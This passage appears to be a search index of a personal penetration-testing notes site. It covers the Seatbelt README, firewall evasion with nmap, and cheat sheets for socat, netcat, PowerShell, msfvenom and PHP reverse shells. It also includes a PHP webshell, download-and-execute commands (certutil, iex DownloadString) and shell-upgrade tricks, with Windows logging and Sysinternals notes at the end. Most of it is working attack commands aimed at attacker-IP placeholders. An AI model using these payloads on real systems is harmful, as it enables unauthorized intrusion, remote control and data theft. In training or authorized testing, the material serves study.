30\"`\n\nThe following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex `.*defini.*`, and ignoring any errors that occur.\n\n`Seatbelt.exe \"reg \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\" 3 .*defini.* true\"`\n\n\n## Output\n\nSeatbelt can redirect its output to a file with the `-outputfile=\"C:\\Path\\file.txt\"` argument. If the file path ends in .json, the output will be structured json.\n\nFor example, the following command will output the results of system checks to a txt file:\n\n`Seatbelt.exe -group=system -outputfile=\"C:\\Temp\\system.txt\"`\n\n\n## Remote Enumeration\n\nCommands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration.\n\nTo enumerate a remote system, supply `-computername=COMPUTER.DOMAIN.COM` - an alternate username and password can be specified with `-username=DOMAIN\\USER -password=PASSWORD`\n\nFor example, the following command runs remote-focused checks against a remote system:\n\n`Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\\sam -password=\"yum \\\"po-ta-toes\\\"\"`\n\n\n## Building Your Own Modules\n\nSeatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically.\n\nThere is a commented command module template at `.\\Seatbelt\\Commands\\Template.cs` for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile.\n\n\n## Compile Instructions\n\nWe are not planning on releasing binaries for Seatbelt, so you will have to compile yourself.\n\nSeatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/). Simply open up the project .sln, choose \"release\", and build. To change the target .NET framework version, [modify the project's settings](https://github.com/GhostPack/Seatbelt/issues/27) and rebuild the project.\n\n\n## Acknowledgments\n\nSeatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities. These ideas, snippets, and authors are highlighted in the appropriate locations in the source code, and include:\n\n* [@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.\n* [Boboes' code concerning NetLocalGroupGetMembers](https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889)\n* [ambyte's code for converting a mapped drive letter to a network path](https://gist.github.com/ambyte/01664dc7ee576f69042c)\n* [Igor Korkhov's code to retrieve current token group information](https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418)\n* [RobSiklos' snippet to determine if a host is a virtual machine](https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280)\n* [JGU's snippet on file/folder ACL right comparison](https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345)\n* [Rod Stephens' pattern for recursive file enumeration](http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/)\n* [SwDevMan81's snippet for enumerating current token privileges](https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni)\n* [Jared Atkinson's PowerShell work on Kerberos ticket caches](https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1)\n* [darkmatter08's Kerberos C# snippet](https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/)\n* Numerous [PInvoke.net](https://www.pinvoke.net/) samples <3\n* [Jared Hill's awesome CodeProject to use Local Security Authority to Enumerate User Sessions](https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us)\n* [Fred's code on querying the ARP cache](https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG)\n* [ShuggyCoUk's snippet on querying the TCP connection table](https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660)\n* [yizhang82's example of using reflection to interact with COM objects through C#](https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816)\n* [@djhohnstein](https://twitter.com/djhohnstein)'s [SharpWeb project](https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs)\n* [@djhohnstein](https://twitter.com/djhohnstein)'s [EventLogParser project](https://github.com/djhohnstein/EventLogParser)\n* [@cmaddalena](https://twitter.com/cmaddalena)'s [SharpCloud project](https://github.com/chrismaddalena/SharpCloud), BSD 3-Clause\n* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Watson project](https://github.com/rasta-mouse/Watson/), GPL License\n* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Work on AppLocker enumeration](https://rastamouse.me/2018/09/enumerating-applocker-config/)\n* [@peewpw](https://twitter.com/peewpw)'s [Invoke-WCMDump project](https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1), GPL License\n* TrustedSec's [HoneyBadger project](https://github.com/trustedsec/HoneyBadger/tree/master/modules/post/windows/gather), BSD 3-Clause\n* CENTRAL Solutions's [Audit User Rights Assignment Project](https://www.centrel-solutions.com/support/tools.aspx?feature=auditrights), No license\n* Collection ideas inspired from [@ukstufus](https://twitter.com/ukstufus)'s [Reconerator](https://github.com/stufus/reconerator)\n* Office MRU locations and timestamp parsing information from Dustin Hurlbut's paper [Microsoft Office 2007, 2010 - Registry Artifacts](https://ad-pdf.s3.amazonaws.com/Microsoft_Office_2007-2010_Registry_ArtifactsFINAL.pdf)\n* The [Windows Commands list](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands), used for sensitive regex construction\n* [Ryan Ries' code for enumeration mapped RPC endpoints](https://stackoverflow.com/questions/21805038/how-do-i-pinvoke-rpcmgmtepeltinqnext)\n* [Chris Haas' post on EnumerateSecurityPackages()](https://stackoverflow.com/a/5941873)\n* [darkoperator](carlos_perez)'s work [on the HoneyBadger project](https://github.com/trustedsec/HoneyBadger)\n* [@airzero24](https://twitter.com/airzero24)'s work on [WMI Registry enumeration](https://github.com/airzero24/WMIReg)\n* Alexandru's answer on [RegistryKey.OpenBaseKey alternatives](https://stackoverflow.com/questions/26217199/what-are-some-alternatives-to-registrykey-openbasekey-in-net-3-5)\n* Tomas Vera's [post on JavaScriptSerializer](http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/)\n* Marc Gravell's [note on recursively listing files/folders](https://stackoverflow.com/a/929418)\n* [@mattifestation](https://twitter.com/mattifestation)'s [Sysmon rule parser](https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595)\n* Some inspiration from spolnik's [Simple.CredentialsManager project](https://github.com/spolnik/Simple.CredentialsManager), Apache 2 license\n* [This post on Credential Guard settings](https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html)\n* [This thread](https://social.technet.microsoft.com/Forums/windows/en-US/b0e13a16-51a6-4aca-8d44-c85e097f882b/nametype-in-nla-information-for-a-network-profile) on network profile information\n* Mark McKinnon's post on [decoding the DateCreated and DateLastConnected SSID values](http://cfed-ttf.blogspot.com/2009/08/decoding-datecreated-and.html)\n* This Specops [post on group policy caching](https://specopssoft.com/blog/things-work-group-policy-caching/)\n* sa_ddam213's StackOverflow post on [enumerating items in the Recycle Bin](https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files)\n* Kirill Osenkov's [code for managed assembly detection](https://stackoverflow.com/a/15608028)\n* The [Mono project](https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/LICENSE.TXT) for the SecBuffer/SecBufferDesc classes\n* [Elad Shamir](https://twitter.com/elad_shamir) and his [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue/) project, [Vincent Le Toux](https://twitter.com/mysmartlogon) for his [DetectPasswordViaNTLMInFlow](https://github.com/vletoux/DetectPasswordViaNTLMInFlow/) project, and Lee Christensen for this [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/) project. All of these served as inspiration int he SecPackageCreds command.\n* @leftp and @eksperience's [Gopher project](https://github.com/EncodeGroup/Gopher) for inspiration for the FileZilla and SuperPutty commands\n* @funoverip for the original McAfee SiteList.xml decryption code\n\nWe've tried to do our due diligence for citations, but if we've left someone/something out, please let us know!\n","description":"","tags":[],"title":"Seatbelt","uri":"/post exploitation/Seatbelt/README.html"},{"content":"Firewall Handling\n## Types\n\n* Packet filtering\n* Circuit level gateway\n* Stateful inspection\n* Proxy\n* Next generation firewall\n* Cloud firewall and FWaaS\n\n## Rules\n\n### Windows\n```sh\nnetsh advfirewall firewall add rule name=\"muka\" dir=in action=allow protocol=tcp localport=57869\n```\n\n### CentOS\n```sh\nfirewall-cmd --zone=public --add-port=57869/tcp\n```\n\n## Circumvention\n\n* IP/MAC/Port spoofing\n* Fragmentation, MTU, data length\n* Header modification\n\n### nmap\n\n#### Spoofing\n* __Decoy__ `-D` , mixin real IP address with random adresses. Every port will be requested by any of these addresses.\n```sh\nsudo nmap -Pn -D 192.168.0.23,192.168.0.42,ME -F $TARGET_IP\nsudo nmap -Pn -D RND,RND,ME -F $TARGET_IP\n```\n* __Proxy__\n```sh\nsudo nmap -Pn -F --proxies $PROXY_IP $TARGET_IP\n```\n* __Spoofed MAC__\n```sh\nsudo nmap -Pn -F --spoof-mac $MAC_ADDRESS $TARGET_IP\n```\n* __Spoofed IP__\n```sh\nsudo nmap -Pn -F -S $ATTACKER_IP $TARGET_IP\n```\n* __Port Number__, select a port which is whitelisted. Frequently this is 53,80,44\n```sh\nsudo nmap -F --source-port 443 $TARGET_IP\n```\n* __Fragmentation__, eth header + 20 bytes header size + bytes fragments via `-f`, or 16 bytes via `-ff`\n```sh\nsudo nmap -Pn -F -f $TARGET_IP\n```\n* __MTU__, works like fragmentation, `-f` == `--mtu 8`\n\n```sh\nsudo nmap -Pn -F --mtu 8 \n```\n* __DATA Length__, eth header + IP header + prepend padding segment size to values of bytes\n```sh\nsudo nmap -Pn -F --data-length 64 $TARGET_IP\n```\n\n#### Header Fields\n\n* __TTL__\n```sh\nsudo nmap -Pn -F --ttl 64 $TARGET_IP\n```\n* __IP OPTIONS__, `--ip-options` recordsas hex String\n\n * Route, `R`\n * Timestamp, `T`\n * Route + Timestamp, `U`\n * Loose source routing, `L $IP $IP $IP`\n * Strict source routing, `S $IP $IP $IP`\n\n* __Checksum__, craft bad checksum via `--badsum` to check errors\n```sh\nsudo nmap -Pn -F --badsum $TARGET_IP\n```\n\n#### After the FW\n* __Hopping__, listen via netcat to catch that port\n* __Tunneling__, relay open after passsing the firewall to connect to the closed port\n```sh\nnc -lvnp 443 --sh-exec \"nc $TARGET_IP 25\"\n```\n* __Non standard ports__, open bin shell via \n```sh\nnc -lvnp 8888 -e /bin/bash\n```\nand connect\n\n\n","description":"","tags":[],"title":"Firewall Handling","uri":"/reverse shells/firewalls.html"},{"content":"socat cheat sheet\n## Reverse Shell\n### reverse shell listener\n```socat tcp-l:<port> -```\n```socat TCP-L:<PORT> file:`tty`,raw,echo=0```\n\n### windows target\n```sh\nsocat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes\n```\n\n### linux target\n```sh\nsocat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:\"bash -li\",pty,stderr,sigint,setsid,sane\n```\n\n## Bind Shell\n### generic connect\n```socat TCP:<TARGET-IP>:<TARGET-PORT> -```\n\n### windows target listener\n```socat TCP-L:<PORT> EXEC:powershell.exe,pipes```\n\n### linux target listener\n```socat TCP-L:<PORT> EXEC:\"bash -li\"\n\n## Connect from statically compiled socat to LHOST\nBinary is inside this dir\n```socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:\"bash -li\",pty,stderr,sigint,setsid,sane```\n\n## Encrypted Shell\n### create key + cert\n```openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt```\n\n### create pem file\n```cat shell.key shell.crt > shell.pem```\n\n### reverse shell listener\n```socat openssl-listen:<port>,cert=shell.pem,verify=0 -```\n```socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0```\n\n### connecting shell on target to listener\n```socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash```\n```socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:\"bash -li\",pty,stderr,sigint,setsid,sane```\n\n### encrypted bind shell on windows listening\n* target\n```socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes```\n\n### encrypted bind shell attacker connecting\n```socat openssl:<port>,cert=shell.pem,verify=0 -```\n\n\n","description":"","tags":[],"title":"socat cheat sheet","uri":"/reverse shells/docs/socat.html"},{"content":"evil-winrm\n* Password or NTLM Hash as authenticator\n\n```sh\nevil-winrm -u Administrator -H <Hash> -i IP\nevil-winrm -u Administrator -p <Password> -i IP -P <Port>\n```\n\n## Upload & Download\n* On opened host\n```sh\nupload <attackerFilePath>\ndownload <remoteFilePath> <attackerFilePath>\n```\n\n## Load Powershell Scripts into Target Memory\n* Load attacker scripts into target's memory\n```sh\nevil-winrm -u <user> -p <password> -i IP -s <localScriptDir>\n```\n* As an example, load Empire scripts dir for port scanning\n```sh \nevil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 127.0.0.1 -P 8001 -s tools/post_exploitation/bc_security/Empire/empire/server/data/module_source/situational_awareness/network/\n```\n\n* Init `Invoke-Portscan.ps1`\n* `Get-Help Invoke-Portscan`\n```sh\nInvoke-Portscan -Hosts 10.200.187.100 -TopPorts 50\n```\n\n\n","description":"","tags":[],"title":"evil-winrm","uri":"/reverse shells/docs/evil-winrm.html"},{"content":"Webshell Usage\n\n## Examples\n\n* PHP execute shellcommands inside URL parameter\n```<?php echo \"<pre>\" . shell_exec($_GET[\"cmd\"]) . \"</pre>\"; ?>```\n\n* [PentestMonkey php-reverse-shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)\n\n* On windows, reverse bind shell is often easier\n```powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22```\n\n","description":"","tags":[],"title":"Webshell Usage","uri":"/reverse shells/docs/webshell.html"},{"content":"Powershell Reverse Shells\n```sh\npowershell.exe -c \"$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n```\n\n* URL encode \n```sh\npowershell.exe+-c+%22%24client+%3D+New-Object+System.Net.Sockets.TCPClient%28%2710.200.187.200%27%2C54789%29%3B%24stream+%3D+%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes+%3D+0..65535%7C%25%7B0%7D%3Bwhile%28%28%24i+%3D+%24stream.Read%28%24bytes%2C+0%2C+%24bytes.Length%29%29+-ne+0%29%7B%3B%24data+%3D+%28New-Object+-TypeName+System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C+%24i%29%3B%24sendback+%3D+%28iex+%24data+2%3E%261+%7C+Out-String+%29%3B%24sendback2+%3D+%24sendback+%2B+%27PS+%27+%2B+%28pwd%29.Path+%2B+%27%3E+%27%3B%24sendbyte+%3D+%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22\n```\n","description":"","tags":[],"title":"Powershell Reverse Shells","uri":"/reverse shells/docs/powershell.html"},{"content":"msfvenom Usage\n* [Cheat Sheet](https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/#waf-and-antivirus-detectionav-bypass-using-msfvenom-encoders)\n\n```\nmsfvenom -p <payload> <options>\n```\n\n* syntax\n```\n<OS>/<arch>/<payload>\n```\n * stageless \n ```\n linux/x86/shell_reverse_tcp\n ```\n * staged \n ```\n linux/x86/shell/reverse_tcp\n ```\n\n## Windows\n### x64 Reverse Shell in exe format\n```\nmsfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>\n```\n\n### x86 shikata_ga_nai\n```\nmsfvenom -p windows/meterpreter/reverse_tcp -a x86 --encode x86/shikata_ga_nai LHOST=10.9.7.123 LPORT=4446 -f exe -o shell.exe\n```\n\n### Getting the shell on target\n* on attack machine, with shell.exe in cwd\n```\npython -m http.server\n```\n* on target machine execute this\n```\npowershell \"(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')\"\n\nStart-Process \"shell.exe\"\n```\nor\n```\npowershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port\n```\nor\n```\npowershell -c \"Invoke-WebRequest -Uri 'ip/shell.exe' -OutFile 'C:\\Windows\\Temp\\shell.exe'\"\n```\nor on cmd.exe\n```sh\ncertutil -urlcache -split -f http://<attacker-IP>:<attacker-Port>/shell.exe\n```\n* Using SMB\nOn attacker\n```sh\nsudo python impacket/examples/smbserver.py dir .\n```\non target\n```sh\ncopy \\\\<attacker-IP>\\dir\\shell.exe C:\\shell.exe\n```\n\n## Unix\n### netcat reverse \n```sh\nmsfvenom -p cmd/unix/reverse_netcat LHOST=<listen-ip> LPORT=<liste-port> R\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker-IP> LPORT=<Port> -f elf -o shell.elf\n```\n\n* Alternatively, not msfvenom\n```sh\nbash -c \"bash -i >& /dev/tcp/<listen-ip>/<listen-port> 0>&1\"\n```\n\n### Include into Python Exploit as hex\n```sh\nmsfvenom -p windows/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4444 EXITFUNC=thread -b \"\\x00\" -f py\n```\n\n## PHP\n```sh\nmsfvenom -p php/reverse_shell LHOST=<attacker-IP> lPORT=4444 -f raw > reverse_shell.php\n```\n* Enclose raw file inside `<?php ... ?>` tags\n\n## ASP\n```sh\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f asp -o rev_shell.asp\n```\n\n## Python\n```sh\nmsfvenom -p cmd/unix/reverse_python LHOST=<attacker-IP> LPORT=<attacker-Port> -f python -o reverse_shell.python\n```\n","description":"","tags":[],"title":"msfvenom Usage","uri":"/reverse shells/docs/msfvenom.html"},{"content":"Upgrade Reverse Shell\n* [HighOn.Coffee](https://highon.coffee/blog/reverse-shell-cheat-sheet/)\n* [reverse shell without python](https://www.schtech.co.uk/linux-reverse-shell-without-python/)\n* [ropnop](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)\n\n## Via interpreter\n### PHP\n* reverse shell\n```php\nphp -r '$sock=fsockopen(\"<attacker-IP>\", <attacker-Port>);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n```\n```php\nphp -r 'exec (\"/bin/bash\")\";' \n```\n* Sometimes even\n```php\nphp -e 'exec \"/bin/bash\";'\n```\n\n### Python \n```python\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\n```\n\n### Perl\n```perl\nperl -e 'exec \"/bin/sh\";'\n```\n\n### Script\n```sh\n/usr/bin/script -qc /bin/bash /dev/null\n```\n\n## Next\n1. `ctrl` + `z`\n2. `stty echo -raw`\n3. `fg`\n4. `export SHELL=bash`\n5. `export TERM=xterm`\n\n## Via SSH\n* `ssh-keygen`\n* copy priv key and `chmod 600`\n* `cat id_rsa.pub > authorized_keys` on target\n\n## As Code\n### PHP\n```sh\n<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP> <attacker-PORT> > /tmp/f') ?>\n```\n","description":"","tags":[],"title":"Upgrade Reverse Shell","uri":"/reverse shells/docs/shell_upgrade.html"},{"content":"metasploit reverse shell\n```use multi/handler```\n```sh\nset PAYLOAD <payload>\nset LHOST <listen-address>\nset LPORT <liste-port>\nexploit -j\n```\n* multi/handler is backgrounded. Therefore, `session 1` foregrounds the session.\n\n* __LPORT under 1024__ user must be root or use sudo\n","description":"","tags":[],"title":"metasploit reverse shell","uri":"/reverse shells/docs/msfconsole.html"},{"content":"netcat reverse shells\n## Payloads\n\n### linux reverse shell\n```sh\nmkfifo /tmp/f; nc <attacker-ip> <attacker-port> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f\n```\n\n### windows bind shell\n```sh\nnc -lvnp <PORT> -e /bin/bash\n```\n\n### linux bind shell\n```sh\nmkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f\n```\n```sh\nnc -lvnp <PORT> -e /bin/sh\n```\n\n### powershell reverse shell\n* starts the powershell, can be used in cmd.exe as well\n```sh\npowershell -c \"$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n```\n\n","description":"","tags":[],"title":"netcat reverse shells","uri":"/reverse shells/docs/netcat.html"},{"content":"Logging* [Windows Logging CheatSheet](https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/580595db9f745688bc7477f6/1476761074992/Windows+Logging+Cheat+Sheet_ver_Oct_2016.pdf)\n* [NSA -- Spotting Adversary with Windows Event Monitoring](https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm)\n* [Events to Monitor](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor)\n* [Windows 10 Monitoring Reference](https://www.microsoft.com/en-us/download/confirmation.aspx?id=52630)\n\n## Loglevel\n|ID|Event Type|Description|\n|--|----------|-----------|\n|0|Error|An event that indicates a significant problem.|\n|1|Warning|An event that is not necessarily significant.|\n|2|Information|An event describing the successful operation of an application.|\n|3|Success Audit|An event that records an audited security access attempt that is successful.|\n|4|Failure Audit|An event that records an audited security access attempt that is failure.|\n\n## Logrotation\n```sh\nC:\\Windows\\System32\\winevt\\Logs\n```\n* As an example, paths can be found under `Microsoft > Windows > PowerShell > Operational` and right click `Properties` in Event Viewer. Logs can be cleared as well in properties.\n\n\n## Tools\n\n* Event Viewer (GUI-based application)\n* Wevtutil.exe (command-line tool)\n* Get-WinEvent (PowerShell cmdlet)\n\n### wevtutil.exe\n```sh\nwevtutil.exe /?\n```\n* Count logs\n```sh\nwevtutil.exe le | measure\n```\n* Read three most recent Application logs\n```sh\nwevtutil qe Application /c:3 /rd:true /f:text\n```\n\n### Get-WinEvent\n* [Online help](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/Get-WinEvent?view=powershell-7.1)\n* List all the logs\n```sh\nGet-WinEvent -ListLog *\n```\n* Find string\n```sh\n Get-WinEvent -Path .\\merged.evtx | Where-Object { $_.Message -like '*log clear*' }\n```\n* Further filtering\n```sh\nGet-WinEvent -LogName Application | Where-Object { $_.ProviderName -Match 'WLMS' }\n```\n```sh\nGet-WinEvent -ListProvider *Policy*\n```\n```sh\n(Get-WinEvent -ListProvider Microsoft-Windows-GroupPolicy).Events | Format-Table Id, Description\n```\n* Filter by hashtable values\n```sh\nGet-WinEvent -FilterHashtable @{ LogName='Application'; ProviderName='MsiInstaller' };\n```\n```sh\nGet-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'\n```\n* Including __XPATH__\n```sh\nGet-WinEvent -LogName Application -FilterXPath '*/System/EventID=101 and */System/Provider[@Name=\"WLMS\"]'\n```\n```sh\nGet-WinEvent -LogName Security -FilterXPath '*/EventData/Data[@Name=\"TargetUserName\"]=\"System\"'\n```\n```sh\n Get-WinEvent -LogName Application -FilterXPath '*/System/Provider[@Name=\"WLMS\"] and */System/TimeCreated[@SystemTime=\"2020-12-15T01:09:08.940277500Z\"]' -MaxEvents 1\n```\n* Find login by username\n```sh\nGet-WinEvent -LogName Security -FilterXPath '*/System/EventID=4720 and */EventData/Data[@Name=\"TargetUserName\"]=\"sam\"'\n```\n\n### Command Line Logging\n* Enable PS Logging\n```sh\nLocal Computer Policy > Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell\n```\n* CLI Process Auditing -- ID 4688\n```\nLocal Computer Policy > Computer Configuration > Administrative Templates > System > Audit Process Creation\n```\n\n","description":"","tags":[],"title":"Logging","uri":"/enumeration/windows/event_log.html"},{"content":"Bloodhound\n* DNS\n","description":"","tags":[],"title":"Bloodhound","uri":"/enumeration/windows/bloodhound.html"},{"content":"Sysinternals and CLI usage\n## Opening System Properties\n```\nsysdm.cpl\n```\n\n## Installing webdav server, \n\n* Starting windows webclient service\n```\nget-service webclient\nstart-service webclient\n```\n\n* Opening NetworkAndSharingCenter\n```\ncontrol.exe /name Microsoft.NetworkAndSharingCenter\n```\n## Make sure Network Discovery is enabled, advanced settings!\n\n```\nInstall-WindowsFeature WebDAV-Redirector \u2013Restart\nGet-WindowsFeature WebDAV-Redirector | Format-Table \u2013Autosize\n```\n\n## Sigcheck\nSigcheck is a command-line utility that shows file version number, timestamp information, and digital signature details, including certificate chains. It also includes an option to check a file\u2019s status on VirusTotal, a site that performs automated file scanning against over 40 antivirus engines, and an option to upload a file for scanning.\n\n* Check for unsigned files in `C:\\Windows\\system32`\n```\nsigcheck -u -e C:\\Windows\\System32\n```\n* `-u` \"If VirusTotal check is enabled, show files that are unknown by VirusTotal or have non-zero detection, otherwise show only unsigned files.\"\n* `-e` \"Scan executable images only (regardless of their extension)\"\n\n## Alternate Data Stream (ADS)\nBy default, all data is stored in a file's main unnamed data stream, but by using the syntax 'file:stream', you are able to read and write to alternates. (official definition)\n```\nstreams file.txt\n\nnotepad file.txt:<datastream_name>\nor\nGet-Content -Path .\\file.txt -stream ads.txt\n```\n\n## SDelete\nSDelete is a command line utility that takes a number of options. In any given use, it allows you to delete one or more files and/or directories, or to cleanse the free space on a logical disk.\n\n\n## TCPView\nTCPView provides a more informative and conveniently presented subset of the Netstat program that ships with Windows. The TCPView download includes Tcpvcon, a command-line version with the same functionality.\n\n```\ntcpview\ntcpvcon\n```\n\n## Autoruns\nAutoruns reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more.\n\n## Procdump\nProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.\n\n\n## Procdump\nThe Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded.\n\n## Procmon\nProcess Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.\n\n## Psexec\nPsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems\n\n\n## Winobj\nWinObj is a 32-bit Windows NT program that uses the native Windows NT API (provided by NTDLL.DLL) to access and display information on the NT Object Manager's name space.\n\n## BGInfo\nIt automatically displays relevant information about a Windows computer on the desktop's background, such as the computer name, IP address, service pack version, and more\n\n## RegJump\nThis little command-line applet takes a registry path and makes Regedit open to that path. It accepts root keys in standard (e.g. HKEY_LOCAL_MACHINE) and abbreviated form (e.g. HKLM).\n\n```\nregjump HKLM\n```\n* Similar to\n```\nreg query HKLM\n```\n```\nGet-Item\nGet-ItemProperty\n```\n\n## Strings\nStrings just scans the file you pass it for UNICODE (or ASCII) strings of a default length of 3 or more UNICODE (or ASCII) characters.\n\n## Create a system 